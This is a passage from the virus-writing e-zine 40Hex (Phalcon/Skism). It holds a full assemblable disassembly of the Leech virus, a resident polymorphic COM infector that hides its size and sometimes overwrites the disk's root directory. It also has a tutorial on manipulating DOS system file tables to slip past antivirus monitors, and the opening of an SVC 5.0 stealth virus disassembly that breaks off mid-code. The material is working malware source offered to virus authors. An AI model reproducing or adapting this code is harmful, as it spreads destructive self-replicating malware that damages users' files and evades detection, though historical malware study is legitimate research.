  2569. 40Hex Issue 11 Volume 3 Number 2                                      File 005
  2570.  
  2571.                           Virus Spotlight on: Leech
  2572.  
  2573.      This month's virus is a Bulgarian creation known as Leech.  It is mildly
  2574. polymorphic, implementing a simple code swapping algorithm.  It infects on
  2575. file executes and file closes.  The infections upon file closes is especially
  2576. noteworthy; look closely at the manipulation of the system file table (and see
  2577. the related article in this issue of 40Hex for more details).  This resident,
  2578. COM-specific infector also hides file length increases, although the stupid
  2579. CHKDSK error will occur.
  2580.  
  2581.                                                -- Dark Angel
  2582.                                                   Phalcon/Skism
  2583. -------------------------------------------------------------------------------
  2584.                 .model  tiny
  2585.                 .code
  2586.                 org     0
  2587. ; Leech virus
  2588. ; Disassembly by Dark Angel of Phalcon/Skism
  2589. ; Assemble with Tasm /m Leech.asm
  2590.  
  2591. virlength       =       (readbuffer - leech)
  2592. reslength       =       (((encrypted_file - leech + 15) / 16) + 2)
  2593.  
  2594. leech:
  2595.                 jmp     short enter_leech
  2596.  
  2597. filesize        dw      offset carrier
  2598. oldint21        dw      0, 0
  2599. oldint13        dw      0, 0
  2600. oldint24        dw      0, 0
  2601. datestore       dw      0
  2602. timestore       dw      0
  2603. runningflag     db      1
  2604. evenodd         dw      0
  2605.  
  2606. enter_leech:
  2607.                 call    next
  2608. next:
  2609.                 pop     si
  2610. mutatearea1:
  2611.                 cli
  2612.                 push    ds                      ; Why?
  2613.                 pop     es
  2614.                 mov     bp,sp                   ; save sp
  2615.                 mov     sp,si                   ; sp = offset next
  2616.                 add     sp,encrypt_value1 - 1 - next
  2617. mutatearea2:
  2618.                 mov     cx,ss                   ; save ss
  2619.                 mov     ax,cs
  2620.                 mov     ss,ax                   ; ss = PSP
  2621.                 pop     bx                      ; get encryption value
  2622.                 dec     sp
  2623.                 dec     sp
  2624.                 add     si,startencrypt - next
  2625.                 nop
  2626. decrypt:
  2627. mutatearea3:
  2628.                 pop     ax
  2629.                 xor     al,bh                   ; decrypt away!
  2630.                 push    ax
  2631.                 dec     sp
  2632.                 cmp     sp,si
  2633.                 jae     decrypt
  2634. startencrypt:
  2635.                 mov     ax,es
  2636.                 dec     ax
  2637.                 mov     ds,ax                   ; ds->MCB
  2638.                 db      81h,6,3,0               ;add word ptr ds:[3],-reslength
  2639.                 dw      0 - reslength
  2640.                 mov     bx,ds:[3]               ; bx = memory size
  2641.                 mov     byte ptr ds:[0],'Z'     ; mark end of chain
  2642.                 inc     ax                      ; ax->PSP
  2643.                 inc     bx
  2644.                 add     bx,ax                   ; bx->high area
  2645.                 mov     es,bx                   ; as does es
  2646.                 mov     ss,cx                   ; restore ss
  2647.                 add     si,leech - startencrypt
  2648.                 mov     bx,ds                   ; save MCB segment
  2649.                 mov     ds,ax
  2650.                 mov     sp,bp                   ; restore sp
  2651.                 push    si
  2652.                 xor     di,di
  2653.                 mov     cx,virlength            ; 1024 bytes
  2654.                 cld
  2655.                 rep     movsb
  2656.                 pop     si
  2657.                 push    bx
  2658.                 mov     bx,offset highentry
  2659.                 push    es
  2660.                 push    bx
  2661.                 retf                            ; jmp to highentry in
  2662.                                                 ; high memory
  2663. highentry:
  2664.                 mov     es,ax                   ; es->PSP
  2665.                 mov     ax,cs:filesize
  2666.                 add     ax,100h                 ; find stored area
  2667.                 mov     di,si
  2668.                 mov     si,ax
  2669.                 mov     cx,virlength
  2670.                 rep     movsb                   ; and restore over virus code
  2671.                 pop     es                      ; MCB
  2672.                 xor     ax,ax
  2673.                 mov     ds,ax                   ; ds->interrupt table
  2674.                 sti
  2675.                 cmp     word ptr ds:21h*4,offset int21 ; already resident?
  2676.                 jne     go_resident
  2677.                 db      26h,81h,2eh,3,0         ;sub word ptr es:[3],-reslength
  2678.                 dw      0 - reslength           ; alter memory size
  2679.                 test    byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
  2680.                 jnz     exit_virus
  2681.                 push    cs
  2682.                 pop     ds
  2683.                 mov     si,offset message
  2684. display_loop:                                   ; display ASCIIZ string
  2685.                 lodsb                           ; get next character
  2686.                 or      al,0                    ; exit if 0
  2687.                 jz      exit_display_loop
  2688.                 mov     ah,0Eh                  ; otherwise write character
  2689.                 int     10h
  2690.  
  2691.                 jmp     short display_loop
  2692. exit_display_loop:
  2693.                 mov     ah,32h                  ; Get DPB -> DS:BX
  2694.                 xor     dl,dl
  2695.                 int     21h
  2696.                 jc      exit_virus              ; exit on error
  2697.  
  2698.                 call    getint13and24
  2699.                 call    setint13and24
  2700.                 mov     dx,[bx+10h]             ; first sector of root
  2701.                                                 ; directory
  2702.                                                 ; BUG: won't work in DOS 4+
  2703.                 mov     ah,19h                  ; default drive -> al
  2704.                 int     21h
  2705.  
  2706.                 mov     cx,2                    ; overwrite root directory
  2707.                 int     26h
  2708.  
  2709.                 pop     bx
  2710.                 call    setint13and24           ; restore int handlers
  2711. exit_virus:
  2712.                 jmp     returnCOM
  2713. go_resident:
  2714.                 db      26h, 81h, 6, 12h, 0     ;add word ptr es:12h,-reslength
  2715.                 dw      0 - reslength           ; alter top of memory in PSP
  2716.                 mov     bx,ds:46Ch              ; BX = random #
  2717.                 push    ds
  2718.                 push    cs
  2719.                 pop     ds
  2720.                 push    cs
  2721.                 pop     es
  2722.                 mov     runningflag,1           ; reset flag
  2723.                 and     bh,80h
  2724.                 mov     nothing1,bh
  2725. mutate1:
  2726.                 test    bl,1
  2727.                 jnz     mutate2
  2728.                 mov     si,offset mutatearea1
  2729.                 add     si,evenodd
  2730.                 lodsb
  2731.                 xchg    al,[si]                 ; swap instructions
  2732.                 mov     [si-1],al
  2733. mutate2:
  2734.                 test    bl,2
  2735.                 jnz     mutate3
  2736.                 mov     si,offset mutatearea2
  2737.                 add     si,evenodd
  2738.                 lodsw
  2739.                 xchg    ax,[si]                 ; swap instructions
  2740.                 mov     [si-2],ax
  2741. mutate3:
  2742.                 test    bl,4
  2743.                 jnz     mutate4
  2744.                 mov     si,offset mutatearea3
  2745.                 mov     al,2
  2746.                 xor     [si],al                 ; flip between ax & dx
  2747.                 xor     [si+2],al
  2748.                 xor     [si+3],al
  2749. mutate4:
  2750.                 test    bl,8
  2751.                 jnz     findint21
  2752.                 mov     si,offset next
  2753.                 mov     di,offset readbuffer
  2754.                 mov     cx,offset enter_leech
  2755.                 push    si
  2756.                 push    di
  2757.                 lodsb
  2758.                 cmp     al,5Eh                  ; 1 byte pop si?
  2759.                 je      now_single_byte_encode
  2760.                 inc     si                      ; skip second byte of two
  2761.                                                 ; byte encoding of pop si
  2762. now_single_byte_encode:
  2763.                 push    cx
  2764.                 rep     movsb
  2765.                 pop     cx
  2766.                 pop     si
  2767.                 pop     di
  2768.                 cmp     al,5Eh                  ; 1 byte pop si?
  2769.                 je      encode_two_bytes        ; then change to 2
  2770.                 mov     al,5Eh                  ; encode a pop si
  2771.                 stosb
  2772.                 rep     movsb                   ; then copy decrypt over
  2773.                 mov     al,90h                  ; plus a nop to keep virus
  2774.                 stosb                           ; length constant
  2775.                 xor     ax,ax                   ; clear the flag
  2776.                 jmp     short set_evenodd_flag
  2777. encode_two_bytes:
  2778.                 mov     ax,0C68Fh               ; encode a two byte form of
  2779.                 stosw                           ; pop si
  2780.                 rep     movsb
  2781.                 mov     ax,1                    ; set evenodd flag
  2782. set_evenodd_flag:
  2783.                 mov     cs:evenodd,ax
  2784. findint21:
  2785.                 mov     ah,30h                  ; Get DOS version
  2786.                 int     21h
  2787.  
  2788.                 cmp     ax,1E03h                ; DOS 3.30?
  2789.                 jne     notDOS33
  2790.  
  2791.                 mov     ah,34h                  ; Get DOS critical error ptr
  2792.                 int     21h
  2793.  
  2794.                 mov     bx,1460h                ; int 21h starts here
  2795.                 jmp     short alterint21
  2796. notDOS33:
  2797.                 mov     ax,3521h                ; just get current int 21 handler
  2798.                 int     21h
  2799. alterint21:
  2800.                 mov     oldint21,bx
  2801.                 mov     word ptr ds:oldint21+2,es
  2802.                 mov     si,21h*4                ; save old int 21 handler
  2803.                 pop     ds                      ; found in interrupt table
  2804.                 push    si
  2805.                 push    cs
  2806.                 pop     es
  2807.                 mov     di,offset topint21
  2808.                 movsw
  2809.                 movsw
  2810.                 pop     di                      ; and put new one in
  2811.                 push    ds
  2812.                 pop     es
  2813.                 mov     ax,offset int21
  2814.                 stosw
  2815.                 mov     ax,cs
  2816.                 stosw
  2817.  
  2818.                 mov     di,offset startencrypt
  2819.                 mov     al,cs:encrypt_value1     ; decrypt original program code
  2820. decryptcode:
  2821.                 xor     cs:[di],al
  2822.                 inc     di
  2823.                 cmp     di,offset decryptcode
  2824.                 jb      decryptcode
  2825. returnCOM:
  2826.                 mov     ah,62h                  ; Get current PSP
  2827.                 int     21h
  2828.  
  2829.                 push    bx                      ; restore segment registers
  2830.                 mov     ds,bx
  2831.                 mov     es,bx
  2832.                 mov     ax,100h
  2833.                 push    ax
  2834.                 retf                            ; Return to PSP:100h
  2835.  
  2836. infect:
  2837.                 push    si
  2838.                 push    ds
  2839.                 push    es
  2840.                 push    di
  2841.                 cld
  2842.                 push    cs
  2843.                 pop     ds
  2844.                 xor     dx,dx                   ; go to start of file
  2845.                 call    movefilepointer
  2846.                 mov     dx,offset readbuffer    ; and read 3 bytes
  2847.                 mov     ah,3Fh
  2848.                 mov     cx,3
  2849.                 call    callint21
  2850.                 jc      exiterror
  2851.  
  2852.                 xor     di,di
  2853.                 mov     ax,readbuffer
  2854.                 mov     cx,word ptr ds:[0]
  2855.                 cmp     cx,ax                   ; check if already infected
  2856.                 je      go_exitinfect
  2857.                 cmp     al,0EBh                 ; jmp short?
  2858.                 jne     checkifJMP
  2859.                 mov     al,ah
  2860.                 xor     ah,ah
  2861.                 add     ax,2
  2862.                 mov     di,ax                   ; di = jmp location
  2863. checkifJMP:
  2864.                 cmp     al,0E9h                 ; jmp?
  2865.                 jne     checkifEXE              ; nope
  2866.                 mov     ax,word ptr readbuffer+1
  2867.                 add     ax,3
  2868.                 mov     di,ax                   ; di = jmp location
  2869.                 xor     ax,ax
  2870. checkifEXE:
  2871.                 cmp     ax,'MZ'
  2872.                 je      exiterror
  2873.                 cmp     ax,'ZM'
  2874.                 jne     continue_infect
  2875. exiterror:
  2876.                 stc
  2877. go_exitinfect:
  2878.                 jmp     short exitinfect
  2879.                 nop
  2880. continue_infect:
  2881.                 mov     dx,di
  2882.                 push    cx
  2883.                 call    movefilepointer         ; go to jmp location
  2884.                 mov     dx,virlength            ; and read 1024 more bytes
  2885.                 mov     ah,3Fh
  2886.                 mov     cx,dx
  2887.                 call    callint21
  2888.                 pop     cx
  2889.                 jc      exiterror
  2890.                 cmp     readbuffer,cx
  2891.                 je      go_exitinfect
  2892.                 mov     ax,di
  2893.                 sub     ah,0FCh
  2894.                 cmp     ax,filesize
  2895.                 jae     exiterror
  2896.                 mov     dx,filesize
  2897.                 call    movefilepointer
  2898.                 mov     dx,virlength            ; write virus to middle
  2899.                 mov     cx,dx                   ; of file
  2900.                 mov     ah,40h
  2901.                 call    callint21
  2902.                 jc      exitinfect
  2903.                 mov     dx,di
  2904.                 call    movefilepointer
  2905.                 push    cs
  2906.                 pop     es
  2907.                 mov     di,offset readbuffer
  2908.                 push    di
  2909.                 push    di
  2910.                 xor     si,si
  2911.                 mov     cx,di
  2912.                 rep     movsb
  2913.                 mov     si,offset encrypt_value2
  2914.                 mov     al,encrypted_file
  2915. encryptfile:                                    ; encrypt infected file
  2916.                 xor     [si],al
  2917.                 inc     si
  2918.                 cmp     si,7FFh
  2919.                 jb      encryptfile
  2920.                 pop     cx
  2921.                 pop     dx
  2922.                 mov     ah,40h                  ; and write it to end of file
  2923.                 call    callint21
  2924. exitinfect:
  2925.                 pop     di
  2926.                 pop     es
  2927.                 pop     ds
  2928.                 pop     si
  2929.                 retn
  2930.  
  2931. int21:
  2932.                 cmp     ax,4B00h                ; Execute?
  2933.                 je      execute
  2934.                 cmp     ah,3Eh                  ; Close?
  2935.                 je      handleclose
  2936.                 cmp     ah,11h                  ; Find first?
  2937.                 je      findfirstnext
  2938.                 cmp     ah,12h                  ; Find next?
  2939.                 je      findfirstnext
  2940. exitint21:
  2941.                 db      0EAh                    ; jmp far ptr
  2942. topint21        dw      0, 0
  2943.  
  2944. findfirstnext:
  2945.                 push    si
  2946.                 mov     si,offset topint21
  2947.                 pushf
  2948.                 call    dword ptr cs:[si]       ; call int 21 handler
  2949.                 pop     si
  2950.                 push    ax
  2951.                 push    bx
  2952.                 push    es
  2953.                 mov     ah,2Fh                  ; Get DTA
  2954.                 call    callint21
  2955.                 cmp     byte ptr es:[bx],0FFh   ; extended FCB?
  2956.                 jne     noextendedFCB
  2957.                 add     bx,7                    ; convert to normal
  2958. noextendedFCB:
  2959.                 mov     ax,es:[bx+17h]          ; Get time
  2960.                 and     ax,1Fh                  ; and check infection stamp
  2961.                 cmp     ax,1Eh
  2962.                 jne     exitfindfirstnext
  2963.                 mov     ax,es:[bx+1Dh]
  2964.                 cmp     ax,virlength * 2 + 1    ; too small for infection?
  2965.                 jb      exitfindfirstnext       ; then not infected
  2966.                 sub     ax,virlength            ; alter file size
  2967.                 mov     es:[bx+1Dh],ax
  2968. exitfindfirstnext:
  2969.                 pop     es
  2970.                 pop     bx
  2971.                 pop     ax
  2972.                 iret
  2973.  
  2974. int24:
  2975.                 mov     al,3
  2976.                 iret
  2977.  
  2978. callint21:
  2979.                 pushf
  2980.                 call    dword ptr cs:oldint21
  2981.                 retn
  2982.  
  2983. movefilepointer:
  2984.                 xor     cx,cx
  2985.                 mov     ax,4200h
  2986.                 call    callint21
  2987.                 retn
  2988.  
  2989. execute:
  2990.                 push    ax
  2991.                 push    bx
  2992.                 mov     cs:runningflag,0
  2993.                 mov     ax,3D00h                ; open file read/only
  2994.                 call    callint21
  2995.                 mov     bx,ax
  2996.                 mov     ah,3Eh                  ; close file
  2997.                 int     21h                     ; to trigger infection
  2998.  
  2999.                 pop     bx
  3000.                 pop     ax
  3001. go_exitint21:
  3002.                 jmp     short exitint21
  3003.  
  3004. handleclose:
  3005.                 or      cs:runningflag,0        ; virus currently active?
  3006.                 jnz     go_exitint21
  3007.                 push    cx
  3008.                 push    dx
  3009.                 push    di
  3010.                 push    es
  3011.                 push    ax
  3012.                 push    bx
  3013.                 call    getint13and24
  3014.                 call    setint13and24
  3015. ; convert handle to filename
  3016.                 mov     ax,1220h                ; get job file table entry
  3017.                 int     2Fh
  3018.                 jc      handleclose_noinfect    ; exit on error
  3019.  
  3020.                 mov     ax,1216h                ; get address of SFT
  3021.                 mov     bl,es:[di]
  3022.                 xor     bh,bh
  3023.                 int     2Fh                     ; es:di->file entry in SFT
  3024.  
  3025.                 mov     ax,es:[di+11h]
  3026.                 mov     cs:filesize,ax          ; save file size,
  3027.                 mov     ax,es:[di+0Dh]
  3028.                 and     al,0F8h
  3029.                 mov     cs:timestore,ax         ; time,
  3030.                 mov     ax,es:[di+0Fh]
  3031.                 mov     cs:datestore,ax         ; and date
  3032.                 cmp     word ptr es:[di+29h],'MO' ; check for COM extension
  3033.                 jne     handleclose_noinfect
  3034.                 cmp     byte ptr es:[di+28h],'C'
  3035.                 jne     handleclose_noinfect
  3036.                 cmp     cs:filesize,0FA00h      ; make sure not too large
  3037.                 jae     handleclose_noinfect
  3038.                 mov     al,20h                  ; alter file attribute
  3039.                 xchg    al,es:[di+4]
  3040.                 mov     ah,2                    ; alter open mode to read/write
  3041.                 xchg    ah,es:[di+2]
  3042.                 pop     bx
  3043.                 push    bx
  3044.                 push    ax
  3045.                 call    infect
  3046.                 pop     ax
  3047.                 mov     es:[di+4],al            ; restore file attribute
  3048.                 mov     es:[di+2],ah            ; and open mode
  3049.                 mov     cx,cs:timestore
  3050.                 jc      infection_not_successful
  3051.                 or      cl,1Fh                  ; make file infected in
  3052.                 and     cl,0FEh                 ; seconds field
  3053. infection_not_successful:
  3054.                 mov     dx,cs:datestore         ; restore file time/date
  3055.                 mov     ax,5701h
  3056.                 call    callint21
  3057. handleclose_noinfect:
  3058.                 pop     bx
  3059.                 pop     ax
  3060.                 pop     es
  3061.                 pop     di
  3062.                 pop     dx
  3063.                 pop     cx
  3064.                 call    callint21
  3065.                 call    setint13and24
  3066.                 retf    2                       ; exit with flags intact
  3067.  
  3068. getint13and24:
  3069.                 mov     ah,13h                  ; Get BIOS int 13h handler
  3070.                 int     2Fh
  3071.                 mov     cs:oldint13,bx
  3072.                 mov     cs:oldint13+2,es
  3073.  
  3074.                 int     2Fh                     ; Restore it
  3075.  
  3076.                 mov     cs:oldint24,offset int24
  3077.                 mov     cs:oldint24+2,cs
  3078.                 retn
  3079.  
  3080. setint13and24:
  3081.                 push    ax
  3082.                 push    si
  3083.                 push    ds
  3084.                 pushf
  3085.                 cli
  3086.                 cld
  3087.                 xor     ax,ax
  3088.                 mov     ds,ax                   ; ds->interrupt table
  3089.  
  3090.                 mov     si,13h*4
  3091.                 lodsw
  3092.                 xchg    ax,cs:oldint13          ; replace old int 13 handler
  3093.                 mov     [si-2],ax               ; with original BIOS handler
  3094.                 lodsw
  3095.                 xchg    ax,cs:oldint13+2
  3096.                 mov     [si-2],ax
  3097.  
  3098.                 mov     si,24h*4                ; replace old int 24 handler
  3099.                 lodsw                           ; with our own handler
  3100.                 xchg    ax,cs:oldint24
  3101.                 mov     [si-2],ax
  3102.                 lodsw
  3103.                 xchg    ax,cs:oldint24+2
  3104.                 mov     [si-2],ax
  3105.                 popf
  3106.                 pop     ds
  3107.                 pop     si
  3108.                 pop     ax
  3109.                 retn
  3110.  
  3111. message         db      'The leech live ...', 0
  3112.                 db      'April 1991  The Topler.'
  3113.  
  3114.                 db      0, 0, 0, 0, 0
  3115.  
  3116. encrypt_value1  db      0
  3117. readbuffer      dw      0
  3118.                 db      253 dup (0)
  3119.  
  3120. nothing1        db      0
  3121.                 db      152 dup (0)
  3122. encrypt_value2  db      0
  3123.                 db      614 dup (0)
  3124. encrypted_file  db      0
  3125.                 db      1280 dup (0)
  3126. carrier:
  3127.                 dw      20CDh
  3128.  
  3129.                 end     leech
  3130. -------------------------------------------------------------------------------
  3131.  
  3132.  
  3133. 40Hex Issue 11 Volume 3 Number 2                                      File 006
  3134.  
  3135.                              ²²²²²²²²²²²²²²²²²²²²²
  3136.                              SFT's and Their Usage
  3137.                              ²²²²²²²²²²²²²²²²²²²²²
  3138.                                  By Dark Angel
  3139.                                  Phalcon/Skism
  3140.                              ²²²²²²²²²²²²²²²²²²²²²
  3141.  
  3142.        A powerful though seldom-used technique in virus writing is the use of
  3143.   the system file table, an internal DOS structure similar in some respects to
  3144.   FCBs, albeit vastly more powerful.  The system file table holds the critical
  3145.   information on the state of an open file, including the current pointer
  3146.   location, the open mode, and the file size.  Manipulation of the system file
  3147.   tables can often replace calls to corresponding DOS interrupt routines and
  3148.   therefore, when combined with other techniques, reduces the effectiveness of
  3149.   a TSR virus monitor and decreases code size.
  3150.  
  3151.        Each open file has a corresponding system file table.  The following
  3152.   tables come from Ralf Brown's interrupt listing.
  3153.  
  3154.    Format of DOS 2.x system file tables:
  3155.    Offset  Size    Description
  3156.     00h    DWORD   pointer to next file table
  3157.     04h    WORD    number of files in this table
  3158.     06h  28h bytes per file
  3159.        Offset  Size    Description
  3160.         00h    BYTE    number of file handles referring to this file
  3161.         01h    BYTE    file open mode (see AH=3Dh)
  3162.         02h    BYTE    file attribute
  3163.         03h    BYTE    drive (0 = character device, 1 = A, 2 = B, etc)
  3164.         04h 11 BYTEs   filename in FCB format (no path, no period,
  3165.                           blank-padded)
  3166.         0Fh    WORD    ???
  3167.         11h    WORD    ???
  3168.         13h    DWORD   file size???
  3169.         17h    WORD    file date in packed format (see AX=5700h)
  3170.         19h    WORD    file time in packed format (see AX=5700h)
  3171.         1Bh    BYTE    device attribute (see AX=4400h)
  3172.        ---character device---
  3173.         1Ch    DWORD   pointer to device driver
  3174.        ---block device---
  3175.         1Ch    WORD    starting cluster of file
  3176.         1Eh    WORD    relative cluster in file of last cluster accessed
  3177.        ------
  3178.         20h    WORD    absolute cluster number of current cluster
  3179.         22h    WORD    ???
  3180.         24h    DWORD   current file position???
  3181.  
  3182.    Format of DOS 3.x system file tables and FCB tables:
  3183.    Offset  Size    Description
  3184.     00h    DWORD   pointer to next file table
  3185.     04h    WORD    number of files in this table
  3186.     06h  35h bytes per file
  3187.        Offset  Size    Description
  3188.         00h    WORD    number of file handles referring to this file
  3189.         02h    WORD    file open mode (see AH=3Dh)
  3190.                bit 15 set if this file opened via FCB
  3191.         04h    BYTE    file attribute
  3192.         05h    WORD    device info word (see AX=4400h)
  3193.         07h    DWORD   pointer to device driver header if character device
  3194.                else pointer to DOS Drive Parameter Block (see AH=32h)
  3195.         0Bh    WORD    starting cluster of file
  3196.         0Dh    WORD    file time in packed format (see AX=5700h)
  3197.         0Fh    WORD    file date in packed format (see AX=5700h)
  3198.         11h    DWORD   file size
  3199.         15h    DWORD   current offset in file
  3200.         19h    WORD    relative cluster within file of last cluster accessed
  3201.         1Bh    WORD    absolute cluster number of last cluster accessed
  3202.                0000h if file never read or written???
  3203.         1Dh    WORD    number of sector containing directory entry
  3204.         1Fh    BYTE    number of dir entry within sector (byte offset/32)
  3205.         20h 11 BYTEs   filename in FCB format (no path/period, blank-padded)
  3206.         2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file
  3207.         2Fh    WORD    (SHARE.EXE) network machine number which opened file
  3208.         31h    WORD    PSP segment of file's owner (see AH=26h)
  3209.         33h    WORD    offset within SHARE.EXE code segment of
  3210.                sharing record (see below)  0000h = none
  3211.  
  3212.    Format of DOS 4+ system file tables and FCB tables:
  3213.    Offset  Size    Description
  3214.     00h    DWORD   pointer to next file table
  3215.     04h    WORD    number of files in this table
  3216.     06h  3Bh bytes per file
  3217.        Offset  Size    Description
  3218.         00h    WORD    number of file handles referring to this file
  3219.         02h    WORD    file open mode (see AH=3Dh)
  3220.                bit 15 set if this file opened via FCB
  3221.         04h    BYTE    file attribute
  3222.         05h    WORD    device info word (see AX=4400h)
  3223.                bit 15 set if remote file
  3224.                bit 14 set means do not set file date/time on closing
  3225.         07h    DWORD   pointer to device driver header if character device
  3226.                else pointer to DOS Drive Parameter Block (see AH=32h)
  3227.                or REDIR data
  3228.         0Bh    WORD    starting cluster of file
  3229.         0Dh    WORD    file time in packed format (see AX=5700h)
  3230.         0Fh    WORD    file date in packed format (see AX=5700h)
  3231.         11h    DWORD   file size
  3232.         15h    DWORD   current offset in file
  3233.        ---local file---
  3234.         19h    WORD    relative cluster within file of last cluster accessed
  3235.         1Bh    DWORD   number of sector containing directory entry
  3236.         1Fh    BYTE    number of dir entry within sector (byte offset/32)
  3237.        ---network redirector---
  3238.         19h    DWORD   pointer to REDIRIFS record
  3239.         1Dh  3 BYTEs   ???
  3240.        ------
  3241.         20h 11 BYTEs   filename in FCB format (no path/period, blank-padded)
  3242.         2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file
  3243.         2Fh    WORD    (SHARE.EXE) network machine number which opened file
  3244.         31h    WORD    PSP segment of file's owner (see AH=26h)
  3245.         33h    WORD    offset within SHARE.EXE code segment of
  3246.                sharing record (see below)  0000h = none
  3247.         35h    WORD    (local) absolute cluster number of last clustr
  3248.                  accessed (redirector) ???
  3249.         37h    DWORD   pointer to IFS driver for file, 0000000h if native DOS
  3250.  
  3251.        In order to exploit this nifty structure in DOS, the virus must first
  3252.   find the location of the appropriate system file table.  This may be easily
  3253.   accomplished with a few undocumented DOS calls.  Given the file handle in
  3254.   bx, the following code will return the address of the corresponding system
  3255.   file table:
  3256.  
  3257.        mov  ax,1220h  ; Get job file table entry to ES:DI
  3258.        int  2fh       ; DOS 3+ only
  3259.  
  3260.        mov  bl,es:di  ; get number of the SFT for the file handle
  3261.                       ; -1 = handle not open
  3262.        mov  ax,1216h  ; get address of the system file table
  3263.        int  2fh       ; entry number bx
  3264.        ; ES:DI now points to the system file table entry
  3265.  
  3266.        Now that the system file table entry address is known, it is a trivial
  3267.   matter to alter the various bytes of the entry to fit your particular needs.
  3268.   Most viruses must first clear a file's attributes in order to open the file
  3269.   in read/write mode, since it would otherwise not be able to write to a read-
  3270.   only file.  This handicap is easily overcome by opening the file in read-
  3271.   only mode (al = 0) and changing the byte (or word) referring to the file's
  3272.   open mode to 2.  This has the added benefit of bypassing some resident
  3273.   alarms, which generally do not go off if a file is opened in read only mode.
  3274.   It is also possible to set a file's pointer by altering the double word at
  3275.   offset 15h (in DOS 3+).  So a quick and easy way to reset the file pointer
  3276.   is:
  3277.        mov  es:di+15h,0
  3278.        mov  es:di+17h,0
  3279.  
  3280.        It is acceptable to ignore the DOS 2.X system file table format.  DOS
  3281.   2.X is not in common use today and many programs simply refuse to run under
  3282.   such primitive versions.  Most of the useful offsets are constant in DOS
  3283.   3.X+, which simplifies the code tremendously.
  3284.  
  3285.        This is only a surface treatment of a topic which warrants further
  3286.   investigation.  Numerous opportunities exist for the enterprising virus
  3287.   author to exploit the power of the system file tables.  But the only way to
  3288.   find these opportunities is to experiment.  Have fun!
  3289.  
  3290. 40Hex Issue 11 Volume 3 Number 2                                      File 007
  3291.  
  3292.                                    SVC 5.0
  3293.  
  3294.      SVC 5.0 is a good example of a true stealth virus.  Cheesy, primitive
  3295. stealth-wanna-be viruses "disinfect" by rewriting the files on the disk.
  3296. Not so with SVC 5.0 and all real stealth viruses, which alter only the memory
  3297. image of the file, leaving the original intact.  This has advantages,
  3298. including:
  3299.         o Time savings
  3300.         o Fewer disk accesses
  3301.         o No additional disk writes are required
  3302.  
  3303. General Notes:
  3304.       SVC 5.0 is a parasitic, resident COM and EXE infector.  It does not
  3305. have encryption, but this is offset by the true stealth capabilities of the
  3306. virus.  Although it hides the file length increase, the virus does not suffer
  3307. from the dreaded CHKDSK crosslinking errors experienced by many early stealth
  3308. viruses.  However, the code to overcome this problem is kludgily implemented;
  3309. the virus detects execution of programs with the "HK" and "DS" strings in the
  3310. filename.  Although this helps with CHKDSK, it won't help with other programs
  3311. which work in CHKDSK's asinine fashion.
  3312.  
  3313.                                                 -- Dark Angel
  3314.                                                    Phalcon/Skism 1993
  3315. -------------------------------------------------------------------------------
  3316.                 .model  tiny
  3317.                 .code
  3318. ; SVC 5-A
  3319. ; Disassembly done by Dark Angel of Phalcon/Skism
  3320. ; Assemble with Tasm /m SVC5-A
  3321.                 org     0
  3322.  
  3323. start:
  3324.                 call    next
  3325. next:
  3326.                 pop     si
  3327.                 db      83h,0EEh,3              ; sub si,offset next
  3328.                 mov     word ptr cs:[si+offset storeAX],ax
  3329.                 push    es
  3330.                 push    si
  3331.                 xor     dx,dx
  3332.                 mov     ah,84h                  ; installation check
  3333.                 int     21h
  3334.                 pop     si
  3335.                 push    si
  3336.                 cmp     dx,1990h
  3337.                 jne     installvirus
  3338.                 cmp     bh,byte ptr cs:[si+versionbyte]
  3339.                 ja      go_exitvirus
  3340.                 jc      installvirus
  3341.                 push    si
  3342.                 push    es
  3343.                 xchg    ah,al                   ; convert ax to virus
  3344.                 xor     ax,0FFFFh               ; CS
  3345.                 mov     es,ax                   ; es->resident virus
  3346.                 push    cs
  3347.                 pop     ds
  3348.                 xor     di,di
  3349.                 mov     cx,begindata - start - 1; same version?
  3350.                 cld
  3351.                 repe    cmpsb
  3352.                 pop     es
  3353.                 pop     si
  3354.                 jz      go_exitvirus            ; yes, exit
  3355.                 jmp     reboot                  ; else reboot
  3356. go_exitvirus:
  3357.                 jmp     exitvirus
  3358. installvirus:
  3359.                 push    es
  3360.                 xor     ax,ax
  3361.                 mov     ds,ax
  3362.                 les     ax,dword ptr ds:21h*4   ; save old int 21h
  3363.                 mov     cs:[si+oldint21],ax     ; handler
  3364.                 mov     word ptr cs:[si+oldint21+2],es
  3365.                 les     ax,dword ptr ds:8*4     ; save old int 8 handler
  3366.                 mov     cs:[si+oldint8],ax
  3367.                 mov     word ptr cs:[si+oldint8+2],es
  3368.                 pop     es
  3369.                 mov     cs:[si+carrierPSP],es   ; save current PSP
  3370.                 mov     ah,49h                  ; Release memory @ PSP
  3371.                 int     21h
  3372.                 jc      exitvirus               ; exit on error
  3373.  
  3374.                 mov     ah,48h                  ; Find total memory size
  3375.                 mov     bx,0FFFFh
  3376.                 int     21h
  3377.                 sub     bx,(viruslength+15)/16+1; shrink allocation for carrier
  3378.                 jc      exitvirus
  3379.  
  3380.                 mov     cx,es                   ; compute new memory
  3381.                 stc                             ; block location
  3382.                 adc     cx,bx
  3383.                 mov     ah,4Ah                  ; Allocate memory for carrier
  3384.                 int     21h
  3385.  
  3386.                 mov     bx,(viruslength+15)/16
  3387.                 stc
  3388.                 sbb     es:[2],bx               ; fix high memory field in PSP
  3389.                 mov     es,cx
  3390.                 mov     ah,4Ah                  ; Allocate memory for virus
  3391.                 int     21h
  3392.  
  3393.                 mov     ax,es                   ; Go to virus MCB
  3394.                 dec     ax
  3395.                 mov     ds,ax
  3396.                 mov     word ptr ds:[1],8       ; mark owner = DOS
  3397.                 mov     ax,cs:[si+carrierPSP]   ; go back to carrier PSP
  3398.                 dec     ax                      ; go to its MCB
  3399.                 mov     ds,ax
  3400.                 mov     byte ptr ds:[0],'Z'     ; mark it end of block
  3401.                 push    cs
  3402.                 pop     ds
  3403.                 xor     di,di                   ; copy virus to high memory
  3404.                 mov     cx,viruslength + 1
  3405.                 cld
  3406.                 rep     movsb
  3407.                 xor     ax,ax
  3408.                 mov     ds,ax
  3409.                 cli                             ; and set up virus
  3410.                 mov     word ptr ds:21h*4,offset int21
  3411.                 mov     word ptr ds:21h*4+2,es  ; interrupt handlers
  3412.                 mov     word ptr ds:8*4,offset int8
  3413.                 mov     word ptr ds:8*4+2,es
  3414. exitvirus:
  3415.                 sti
  3416.                 push    cs
  3417.                 pop     ds
  3418.                 pop     si
  3419.                 push    si
